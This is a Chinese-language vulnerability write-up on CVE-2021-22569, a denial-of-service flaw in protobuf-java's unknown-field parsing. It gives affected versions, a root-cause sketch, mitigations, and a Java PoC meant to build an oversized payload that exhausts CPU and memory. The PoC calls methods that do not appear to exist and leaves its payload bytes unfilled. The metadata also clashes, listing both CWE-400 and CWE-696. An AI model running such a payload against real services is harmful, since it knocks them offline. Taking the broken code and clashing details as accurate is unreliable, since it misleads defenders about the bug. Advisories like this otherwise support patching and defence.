一、漏洞简介

1.1 漏洞背景

Protocol Buffers (protobuf) 是 Google 开发的数据序列化格式,gRPC 使用 protobuf 作为默认的接口定义语言和消息格式。Java 版本的 protobuf 在解析二进制数据时存在实现弱点,可被用于拒绝服务攻击。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2021-22569
危害等级 HIGH / 7.5
漏洞类型 Protobuf Java 解析拒绝服务
披露时间 2022-01-10
影响组件 gRPC
属性
CVE 编号 CVE-2021-22569
危害等级 高危 (High)
CVSS 评分 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
CWE 编号 CWE-400 (Uncontrolled Resource Consumption)
影响组件 protobuf-java
GHSA 编号 GHSA-wrvw-hg22-4m67

补充核验信息:公开时间:2022-01-10;NVD 评分:7.5(HIGH);CWE:CWE-696。

二、影响范围

2.1 受影响的版本

  • protobuf-java < 3.16.1
  • protobuf-java 3.17.x < 3.18.2
  • protobuf-java 3.19.x < 3.19.2
  • protobuf-kotlin < 3.18.2 (3.19.x < 3.19.2)
  • google-protobuf (JRuby gem) < 3.19.2

2.2 不受影响的版本

  • protobuf-java >= 3.16.1, >= 3.18.2, >= 3.19.2
  • protobuf-kotlin >= 3.18.2, >= 3.19.2
  • protobuf "javalite" (Android) 不受影响

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 应用程序使用 protobuf-java 解析不可信的二进制数据
  2. 攻击者能够向服务发送特制的 protobuf 消息

三、漏洞详情与原理解析

3.1 漏洞触发机制

漏洞存在于 protobuf 解析未知字段(unknown fields)的方式中:

  1. 恶意负载构造:约 800 KB 的特制二进制消息
  2. 对象创建风暴:解析过程中创建大量短生命周期对象
  3. GC 压力:频繁的垃圾回收导致 CPU 占用飙升
  4. 服务阻塞:解析过程可持续数分钟

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞位置java/core/src/main/java/com/google/protobuf/CodedInputStream.java

问题代码逻辑

// 解析未知字段时,递归处理嵌套消息
public boolean skipField(final int tag) throws IOException {
    switch (WireFormat.getTagWireType(tag)) {
        case WireFormat.WIRETYPE_LENGTH_DELIMITED:
            // 对于长度分隔的字段,创建大量临时字节数组
            final int length = readRawVarint32();
            skipRawBytes(length);  // 创建临时对象
            return true;
        case WireFormat.WIRETYPE_START_GROUP:
            skipMessage();  // 递归调用
            readTag();
            return true;
        // ...
    }
}

攻击向量

恶意消息结构:
[Field 1: 长度分隔] -> 创建大字节数组
[Field 2: 嵌套组] -> 递归解析
  [Field 2.1: 长度分隔] -> 更多临时对象
  [Field 2.2: 嵌套组] -> 深度递归
    ...

修复方案: 1. 限制递归深度 2. 重用缓冲区减少对象分配 3. 添加解析时间和内存使用的安全限制

四、漏洞复现(可选)

4.1 环境搭建

<!-- pom.xml -->
<dependency>
    <groupId>com.google.protobuf</groupId>
    <artifactId>protobuf-java</artifactId>
    <version>3.16.0</version> <!-- 受影响版本 -->
</dependency>

4.2 PoC 演示与测试过程

// PoC 生成恶意 protobuf 消息
import com.google.protobuf.*;

public class MaliciousProtobuf {
    public static byte[] generatePayload() {
        // 构造包含大量未知字段的恶意消息
        // 约 800KB 的特制二进制数据
        ByteString.Builder builder = ByteString.newBuilder();

        // 添加大量重复的未知字段
        for (int i = 0; i < 100000; i++) {
            // 使用字段号 > 预定义的最大字段号,成为"未知字段"
            builder.appendVarint((i << 3) | 2); // 长度分隔字段
            builder.appendVarint(100); // 长度
            // 添加数据...
        }

        return builder.build().toByteArray();
    }

    public static void main(String[] args) {
        byte[] payload = generatePayload();

        // 解析时会导致 CPU 和内存飙升
        try {
            MyMessage.parseFrom(payload);
        } catch (InvalidProtocolBufferException e) {
            // 解析过程会持续很长时间
        }
    }
}

观察效果

# 使用受影响版本运行
java -jar protobuf-test.jar

# 另一终端观察
jstat -gcutil <pid> 1000
# 会看到频繁的 GC 活动

五、修复建议与缓解措施

5.1 官方版本升级建议

组件 修复版本
protobuf-java >= 3.16.1 或 >= 3.18.2 或 >= 3.19.2
protobuf-kotlin >= 3.18.2 或 >= 3.19.2
google-protobuf (JRuby) >= 3.19.2

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 限制消息大小java CodedInputStream input = CodedInputStream.newInstance(data); input.setSizeLimit(1024 * 1024); // 1MB 限制

  2. 添加解析超时java ExecutorService executor = Executors.newSingleThreadExecutor(); Future<MyMessage> future = executor.submit(() -> MyMessage.parseFrom(data)); try { MyMessage msg = future.get(5, TimeUnit.SECONDS); // 5秒超时 } catch (TimeoutException e) { future.cancel(true); // 处理超时 }

  3. 使用 WAF/网关过滤

  4. 限制请求体大小
  5. 监控异常的解析时间

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料